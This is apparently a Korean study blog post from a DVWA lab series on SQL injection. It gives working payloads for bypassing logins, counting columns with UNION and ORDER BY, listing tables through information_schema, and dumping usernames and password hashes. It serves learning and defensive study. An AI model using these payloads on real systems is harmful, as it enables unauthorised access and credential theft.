SQL Injection

justugi·2024년 6월 15일
0

DVWA

목록 보기
7/16

주의사항 : 이 포스팅은 개인 학습 및 교육적 목적으로 작성되었으며, 제공하는 정보를 악용하여 불법적인 행위를 하는 것은 엄격히 금지되어 있습니다. 타인의 시스템에 대한 접근 권한을 얻기 위해 명시적인 동의를 받아야 하며, 이러한 기술을 사용하여 발생하는 모든 결과에 대한 책임은 사용자에게 있습니다.

0. 초기 화면

1. 서비스 실행

2. 전체 레코드 출력

  • 해당 ID 정보 조회 기능의 경우, 코드에 사용된 SQL문은
SELECT ... FROM ... WHERE UserID = '입력값'

형태로 추측된다.

  • 입력값을 ' or '1 이라 넣으면 WHERE 절이 UserID = '' or '1' 이 되어 조건이 모두 참이게 되므로 모든 레코드를 출력하게 된다.
    • 일반적으로 SQL에서 0이 아닌 숫자값은 참으로 간주한다.
    • '1'의 데이터타입은 문자열이지만, SQL 서버에서 숫자 1로 받아들이기도 한다.

WHERE 절을 모두 참으로 만드는 아래와 같은 구문들을 사용 가능하다.

  • ' or '1
  • ' or 1--
  • ' or '1'='1
  • ' or 1=1--

3. 로그인 기능일 경우

  • ID 조회가 아닌 로그인 기능일 경우, 코드에 사용된 SQL문은
SELECT ... FROM ... WHERE UserID = 'ID입력값' AND PassWord = 'pw입력값'

형태로 추측된다.

  • ID입력값을 ' or 1-- 이라 넣으면 WHERE 절이 UserID = '' or 1--' AND PassWord = 'pw입력값' 이 되어 PassWord 조건문을 주석처리시키기 때문에 조건이 모두 참이게 된다. 이때 모든 레코드를 반환하게 되는데, 대부분의 로그인 시스템은 쿼리 결과의 첫 레코드에 해당하는 계정(주로 테스트 계정이나 admin 계정)으로 로그인된다.

  • ID입력값을 로그인할ID'-- 이라 넣으면 해당 ID로 로그인된다.

    SQL에서 한 줄 주석처리 시, MySQL에서는 #을 사용하거나 -- 이후 띄어쓰기 한 칸을 해줘야 정상적으로 주석처리 된다.

  • ID입력값에 타겟ID, pw입력값에 '+(SELECT PassWord FROM ... WHERE UserID='타겟ID')+' 이라 넣으면 pw입력값에 db 테이블에서 조회한 PassWord를 넣음으로써 로그인 할 수 있다.

4. 컬럼 갯수 알아내기

  • 1' UNION SELECT 1, 1;--
  • UNION 이후 SELECT 에서 데이터 수가 2개일 때만 오류가 발생하지 않는다.
    → UNION 이전 SELECT 문의 컬럼 수가 2이다.

  • 1' order by 2--
  • order by 는 SELECT 문에서 조회한 컬럼들의 순서를 숫자로 표현하여 정렬 기준으로 설정할 수 있다.
    → 조회한 컬럼 수 까지 숫자로 지정 가능하므로, SELECT 문의 컬럼 수가 2이다.

5. 데이터베이스 정보 조회

  • mysql은 information_schema라는 데이터베이스에 데이터베이스, 테이블, 칼럼 정보를 관리한다.

  • 1' UNION SELECT schema_name, 1 FROM information_schema.schemata--
  • ID : 1 의 정보 다음에 information_schema 데이터베이스의 schemata 테이블의 schema_name 컬럼에 해당하는 데이터가 출력된다.

  • 1' UNION SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema='dvwa'--
  • dvwa 데이터베이스에 있는 테이블들의 이름을 출력한다.

  • 1' UNION SELECT table_name, column_name FROM information_schema.columns WHERE table_schema='dvwa' AND table_name='users'--
  • users 테이블의 컬럼명을 출력한다.

  • 1' UNION SELECT user, password FROM users--
  • user와 password 컬럼의 값들을 출력한다.

6. 해시데이터 복호화

7. 실패

  • SELECT first_name, last_name FROM users WHERE user_id = '$id'
    • 여러 쿼리문을 한 줄로 실행할 수 있다면, $id에 '; SELECT * FROM users-- 와 같은 입력으로 users 테이블의 모든 레코드를 출력 할 것이다.
    • users 테이블의 형식이 first_name, last_name 형식과 같으면(UNION 이전 SQL문과 이후 SQL문의 컬럼 수가 같고, UNION 전후의 SQL에 사용되는 필드의 데이터 형식이 순서대로 서로 동일하면), $id에 ' UNION SELECT * FROM users-- 라고 입력하면 UNION 이전의 출력 결과(여기선 빈 데이터를 입력해서 결과가 없을 것이다)와 users 전체 테이블의 조회 결과를 통합하여 출력할 것이다.

출처
https://m.blog.naver.com/ohj3423/223034336028
https://oggwa.tistory.com/76
https://oggwa.tistory.com/77

profile
IT 보안, 관심 있는 것을 공부합니다.

0개의 댓글